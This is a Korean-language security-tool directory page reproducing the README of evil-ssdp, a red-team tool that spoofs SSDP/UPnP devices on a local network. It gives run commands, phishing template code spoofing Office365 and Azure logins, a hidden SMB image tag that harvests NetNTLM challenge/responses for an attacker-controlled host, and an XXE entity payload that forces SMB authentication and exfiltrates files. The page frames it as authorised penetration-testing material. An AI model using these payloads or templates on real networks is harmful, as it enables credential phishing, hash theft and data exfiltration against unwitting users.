Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
evil-ssdp — SSDP 응답을 스푸핑하고 가짜 UPnP 장치를 생성하여 자격 증명 및 NetNTLM 챌린지/응답을 피싱합니다. | Kitploit
도구/GitHubGitHub/initstring/evil-ssdp
Vulnerability AnalysisExploitationIDS/IPS EvasionImpersonation ToolsPhishingNetwork SecurityPenetration TestingSocial EngineeringRed Teaming
GitHubinitstring/evil-ssdp

evil-ssdp

SSDP 응답을 스푸핑하고 가짜 UPnP 장치를 생성하여 자격 증명 및 NetNTLM 챌린지/응답을 피싱합니다.

4411002년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

개요

이 도구는 SSDP 멀티캐스트 검색 요청에 응답하여 일반 UPNP 장치로 위장합니다. 스푸핑된 장치는 로컬 네트워크의 Windows 탐색기에 나타납니다. 장치를 열려는 사용자에게는 구성 가능한 피싱 페이지가 표시됩니다. 이 페이지는 SMB를 통해 숨겨진 이미지를 로드하여 NetNTLM 챌린지/응답을 캡처하거나 중계할 수 있습니다.

기본 인증 및 로그온 폼을 통해 일반 텍스트 자격 증명을 캡처하기 위한 템플릿도 제공되며, 사용자 정의 템플릿을 빠르고 쉽게 만들 수 있습니다.

이 도구는 실행하기 위해 기존 자격 증명이 필요하지 않으며, NETBIOS 및 LLMNR을 비활성화하여 Responder 공격으로부터 보호된 네트워크에서도 작동합니다. SSDP/UPNP를 사용하는 모든 운영 체제 또는 애플리케이션이 대상이 될 수 있지만, 현재 대부분의 무기화는 Windows 10을 대상으로 합니다.

Video: Phishing Overview

보너스로, 이 도구는 SSDP/UPNP를 사용하는 애플리케이션의 XML 파싱 엔진에서 잠재적인 제로데이 취약점을 탐지하고 악용할 수 있습니다. 취약한 장치가 발견되면 UI에 경고를 표시한 후 XML 외부 엔터티(XXE) 공격을 통해 사용자 상호작용 없이 SMB 공유를 마운트하거나 데이터를 유출합니다.

Video: 0-Day Overview

사용 방법

가장 기본적인 실행은 다음과 같습니다:

root@kitploit:~
evil_ssdp.py eth0

최소한 네트워크 인터페이스를 제공해야 합니다. 인터페이스는 UDP SSDP 상호작용과 XML 파일 및 피싱 페이지를 호스팅하는 웹 서버 모두에 사용됩니다.

도구는 제공한 인터페이스의 IP를 사용하여 피싱 페이지의 IMG 태그를 자동으로 업데이트합니다. 챌린지/응답을 사용하려면 해당 인터페이스에서 SMB 서버(예: Impacket)를 실행해야 합니다. 이 주소는 -s 옵션으로 사용자 지정할 수 있습니다.

몇 가지 예시 시나리오:

root@kitploit:~
# Use wlan0 for device advertisement and phishing, capturing NetNTLM and
# asking for clear-text via a spoofed Office365 logon form. Redirect to
# Microsoft aftering capturing credentials:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com'

# Same as above, but assuming your SMB server is running on another IP:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com' \
    -s 192.168.1.205

# Prompt for creds using basic auth and redirect to Azure:
evil_ssdp.py wlan0 -t microsoft-azure -u \
    'https://azure.microsoft.com/auth/signin/' -b

# Hope for an XXE vul to capture NetNTLM while Impacket/Responder is running
on wlan0:
evil_ssdp.py wlan0 -t xxe-smb

전체 사용법:

root@kitploit:~
usage: evil_ssdp.py [-h] [-p PORT] [-t TEMPLATE] [-s SMB] [-b] [-r REALM]
                    [-u URL]
                    interface

positional arguments:
  interface             Network interface to listen on.

optional arguments:
  -h, --help            show this help message and exit
  -p PORT, --port PORT  Port for HTTP server. Defaults to 8888.
  -t TEMPLATE, --template TEMPLATE
                        Name of a folder in the templates directory. Defaults
                        to "office365". This will determine xml and phishing
                        pages used.
  -s SMB, --smb SMB     IP address of your SMB server. Defalts to the primary
                        address of the "interface" provided.
  -b, --basic           Enable base64 authentication for templates and write
                        credentials to log file.
  -r REALM, --realm REALM
                        Realm when prompting target for authentication via
                        Basic Auth.
  -u URL, --url URL     Redirect to this URL. Works with templates that do a
                        POST for logon forms and with templates that include
                        the custom redirect JavaScript (see README for more
                        info).[example: -r https://google.com]
  -a, --analyze         Run in analyze mode. Will NOT respond to any SSDP
                        queries, but will still enable and run the web server
                        for testing.

템플릿

다음 템플릿이 도구와 함께 제공됩니다. 디자인 실력이 뛰어나다면 직접 기여해 주세요!

  • office365: Windows 탐색기에 'Office365 Backups'로 표시됩니다. Office365 로그인처럼 보이는 피싱 페이지가 자격 증명을 POST로 전송합니다. 이는 UI에 플래그가 표시되고 로그 파일에 기록됩니다. 자격 증명을 탈취한 후 사용자를 합법적인 사이트로 리디렉션하려면 '-u https://www.office.com' 옵션과 함께 실행하는 것이 좋습니다. 개발자: pentestgeek.
  • scanner: Windows 탐색기에 'Corporate Scanner [3 NEW SCANS WAITING]'이라는 이름의 스캐너로 표시됩니다. 더블 클릭하면 일반적인 로그온 페이지로 이동합니다. 이 템플릿은 특정 대상에 맞게 사용자 정의하면 좋습니다. 템플릿은 대부분 이 템플릿에서 복사되었습니다.
  • microsft-azure: Windows 탐색기에 'Microsoft Azure Storage'로 나타납니다. 방문 페이지는 쿠키가 비활성화된 경우의 Windows Live 로그인 페이지입니다. 사용자를 실제 로그인 페이지로 리디렉션하려면 -u 옵션과 함께 사용하는 것이 좋습니다. 개발자: Dwight Hohnstein.
  • bitcoin: Windows 탐색기에 'Bitcoin Wallet'로 표시됩니다. 피싱 페이지는 무작위 비트코인 개인/공개/주소 정보 세트입니다. 이러한 계정에는 실제 자금이 없습니다.
  • password-vault: Windows 탐색기에 'IT Password Vault'로 표시됩니다. 피싱 페이지에는 가짜 비밀번호 / SSH 키 등의 짧은 목록이 포함되어 있습니다.
  • xxe-smb: Windows 탐색기에 나타나지 않을 가능성이 높습니다. XML 파서의 제로데이 취약점을 찾는 데 사용됩니다. 적중 시 UI에 'XXE - VULN' 경고를 트리거하고 클라이언트가 SMB 서버와 인증하도록 강제하며, 상호작용이 필요 없습니다.
  • xxe-exfil: XXE 취약점을 검색하는 또 다른 예이지만, 이번에는 Windows 호스트에서 테스트 파일을 유출하려고 시도합니다. 물론 Windows 또는 Linux에서 원하는 특정 파일을 찾도록 사용자 정의할 수 있습니다. 제가 발견한 취약한 애플리케이션에서는 공백이나 줄바꿈이 없는 파일에서만 유출이 작동합니다. 이는 GET 요청의 URL에 주입되는 방식 때문입니다. 여러 줄 파일에서 이 기능을 작동시키면 방법을 꼭 알려주세요.

자신만의 템플릿을 만드는 것은 쉽습니다. 기존 템플릿의 폴더를 복사하고 다음 파일을 편집하기만 하면 됩니다:

  • device.xml: 여기에서 장치가 Windows 탐색기 내에서 어떻게 보일지 정의합니다.
  • present.html: 대상이 악성 장치를 열 때 표시되는 피싱 페이지입니다. 원하는 대로 자유롭게 제작하세요. Python의 string 템플릿이 이를 파싱하므로 템플릿 엔진을 이스케이프하려면 $ 대신 $$를 사용해야 합니다.
  • service.xml: 아직 구현되지 않았습니다. 향후 더 복잡한 UPNP 스푸핑에 필요할 수 있습니다.

피싱 페이지(present.html)에서 다음과 같은 변수를 사용하여 추가 기능을 활용할 수 있습니다:

root@kitploit:~
# The following line will initiate a NetNTLM challenge/response using the IP
# address of either the interface you provide or an optionally specified IP
# address:
<img src="file://///$smb_server/smb/hash.jpg" style="display: none;" />

# The following will leverage optionally specified URL redirection. This is
# handy when used with basic authentication to redirect to a valid site. This
# line is built in to the microsoft-azure template:
    <script>
	    var url = "$redirectUrl";
    	    if (url != "") {
	    	document.location = url;
	    }
    </script>

HTTP 폼을 사용하여 일반 텍스트 자격 증명을 캡처하는 경우 다음과 같은 코드를 사용하세요. 또한 POST 요청을 수행하는 모든 템플릿은 POST 완료 후 리디렉션을 위해 '-u' 파라미터를 자동으로 지원합니다. 도구는 이 URL로의 POST를 모니터링하여 자격 증명을 찾습니다.

root@kitploit:~
<form method="POST" action="/ssdp/do_login.html" name="LoginForm">

도구는 현재 UPNP 'Basic' 장치 유형에 대해서만 장치를 올바르게 생성하지만, 모든 장치 유형에 대한 SSDP 쿼리에 응답합니다. UPNP를 잘 알고 있다면 다른 장치 유형에 대한 요청을 충족하는 올바른 매개변수로 새 템플릿을 만들 수 있습니다. 특정 애플리케이션과 그들이 UPNP 장치를 기대하고 활용하는 방식을 악용하는 데는 아직 탐구할 부분이 많습니다.

기술적 세부사항

간단한 서비스 검색 프로토콜(SSDP)은 운영 체제(Windows, MacOS, Linux, IOS, Android 등)와 애플리케이션(Spotify, Youtube 등)이 로컬 네트워크에서 공유 장치를 검색하는 데 사용됩니다. 이는 유니버설 플러그 앤 플레이(UPNP) 장치를 검색하고 광고하는 기반입니다.

공유 네트워크 리소스를 검색하려는 장치는 포트 1900의 239.255.255.250으로 UDP 멀티캐스트를 전송합니다. 소스 포트는 무작위화됩니다. 예시 요청은 다음과 같습니다:

root@kitploit:~
M-SEARCH * HTTP/1.1
Host: 239.255.255.250:1900
ST: upnp:rootdevice
Man: "ssdp:discover"
MX: 3

이 호스트와 상호작용하려면 소스 포트와 'ST'(서비스 유형) 헤더를 모두 캡처해야 합니다. 응답은 올바른 소스 포트로 전송되어야 하며 올바른 ST 헤더를 포함해야 합니다. Windows OS만 장치를 찾는 것이 아닙니다. 일반적인 네트워크를 스캔하면 OS 내부 애플리케이션(예: Spotify), 휴대폰 및 기타 미디어 장치의 많은 요청이 표시됩니다. Windows는 올바른 ST로 응답할 때만 반응하며, 다른 소스는 더 관대합니다.

evil_ssdp는 요청된 ST를 추출하여 다음과 같은 응답을 보냅니다:

root@kitploit:~
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Tue, 16 Oct 2018 20:17:12 GMT
EXT:
LOCATION: http://192.168.1.214:8888/ssdp/device-desc.xml
OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01
01-NLS: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c
SERVER: UPnP/1.0
ST: upnp:rootdevice
USN: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c::upnp:rootdevice
BOOTID.UPNP.ORG: 0
CONFIGID.UPNP.ORG: 1

헤더(특히 LOCATION, 01-NLS, ST, USN)는 동적으로 구성됩니다. 이는 요청자에게 장치에 대한 추가 정보를 찾을 위치를 알려줍니다. 여기서는 Windows(및 기타 요청자)가 'Device Descriptor' XML 파일에 접근하여 구문 분석하도록 강제합니다. USN은 단순한 임의 문자열이며, 고유하고 적절한 형식이면 됩니다.

evil_ssdp는 선택한 템플릿 폴더에서 'device.xml' 파일을 가져와 IP 주소와 같은 일부 변수를 동적으로 삽입합니다. 이 'Device Descriptor' 파일은 매력적으로 들리는 친근한 이름과 설명을 사용자 정의할 수 있는 곳입니다. 내용은 다음과 같습니다:

root@kitploit:~
<?xml version="1.0"?>
<root xmlns="urn:schemas-upnp-org:device-1-0">
  <specVersion>
    <major>1</major>
    <minor>0</minor>
  </specVersion>
  <URLBase>http://$local_ip:$local_port</URLBase>
  <device>
    <presentationURL>http://$local_ip:$local_port/present.html</presentationURL>
    <deviceType>urn:schemas-upnp-org:device:Basic:1</deviceType>
    <friendlyName>Office365 Backups</friendlyName>
    <modelDescription>Secure Storage for Office365</modelDescription>
    <manufacturer>MS Office</manufacturer>
    <modelName>Office 365 Backups</modelName>
    <UDN>$session_usn</UDN>
    <serviceList>
      <service>
        <serviceType>urn:schemas-upnp-org:device:Basic:1</serviceType>
        <serviceId>urn:schemas-upnp-org:device:Basic</serviceId>
        <controlURL>/ssdp/service-desc.xml</controlURL>
        <eventSubURL>/ssdp/service-desc.xml</eventSubURL>
        <SCPDURL>/ssdp/service-desc.xml</SCPDURL>
      </service>
    </serviceList>

  </device>
</root>

이 파일의 핵심 줄에는 'Presentation URL'이 포함되어 있습니다. 사용자가 UPNP 장치를 수동으로 더블 클릭할 경우 브라우저에 로드되는 내용입니다. evil_ssdp는 이 파일을 자동으로 호스팅하며(선택한 템플릿 폴더의 present.html), IMG 태그에 소스 IP 주소를 삽입하여 Impacket, Responder 또는 Metasploit과 같은 도구로 호스팅할 수 있는 SMB 공유에 접근합니다.

IMG 태그는 다음과 같습니다:

root@kitploit:~
<img src="file://///$local_ip/smb/hash.jpg" style="display: none;" /><br>

제로데이 헌팅

기본적으로 이 도구는 네트워크의 장치가 XML 파일을 구문 분석하도록 강제합니다. XML을 구문 분석하는 애플리케이션에 대한 잘 알려진 공격인 XML 외부 엔터티 처리(XXE)가 존재합니다.

UPNP 장치에 대한 이러한 유형의 공격은 공격 방법이 복잡하고 쉽게 드러나지 않기 때문에 간과되기 쉽습니다. 그러나 evil_ssdp는 네트워크에서 취약한 장치를 매우 쉽게 테스트할 수 있게 해줍니다. 도구를 실행하고 출력에서 큰 [XXE VULN!!!]을 찾기만 하면 됩니다. 참고: xxe 템플릿을 사용하면 LAN에 보이는 악성 장치가 생성되지 않을 가능성이 높으며, 이는 상호작용이 필요 없는 시나리오만을 위한 것입니다.

이는 다음 내용의 Device Descriptor XML 파일을 제공함으로써 수행됩니다:

root@kitploit:~
<?xml version="1.0"?>
<!DOCTYPE data [ 
<!ENTITY xxe SYSTEM "file://///$smb_server/smb/hash.jpg" >
<!ENTITY xxe-url SYSTEM "http://$local_ip:$local_port/ssdp/xxe.html" >
]>
<data>&xxe;&xxe-url;</data>

취약한 XML 파서가 이 파일을 읽으면 자동으로 SMB 공유를 마운트하고(해시 크래킹 또는 중계 가능) 발견되었음을 알리는 HTTP URL에 접근합니다. 알림에는 HTTP 헤더와 IP 주소가 포함되어 취약한 애플리케이션에 대한 정보를 제공합니다. 이를 발견하면 공급업체에 연락하여 문제를 해결하시기 바랍니다. 또한 도구를 사용하여 발견한 모든 제로데이에 대해 듣고 싶습니다. CVE에 이 도구를 언급해 주십시오.

감사의 말

  • ZeWarren과 그의 프로젝트 here에 감사드립니다. SSDP의 기본을 이해하기 위해 이 프로젝트를 많이 사용했습니다.
  • pentest geek과 그들의 피싱 템플릿 here에 감사드립니다. 여기서 Office365 로그인 페이지를 사용했습니다.
  • Dwight Hohnstein님께 감사드립니다. evil_ssdp에서 기본 인증, 영역 지원, 자동 리디렉션과 같은 멋진 기능을 구현해 주셨습니다. 코드를 작성하고 제공해 주셨습니다.
  • 버그 수정을 제출해 주신 다음 분들께 감사드립니다:
    • Nadar, Ender Akbas, bubbleguuum

또한 재미있는 안전하지 않은 것들을 많이 개발한 Microsoft에도 감사드립니다.

이것은 보안 연구 도구입니다. 네트워크 소유자의 명시적 허가를 받은 경우에만 사용하십시오.

도구 다운로드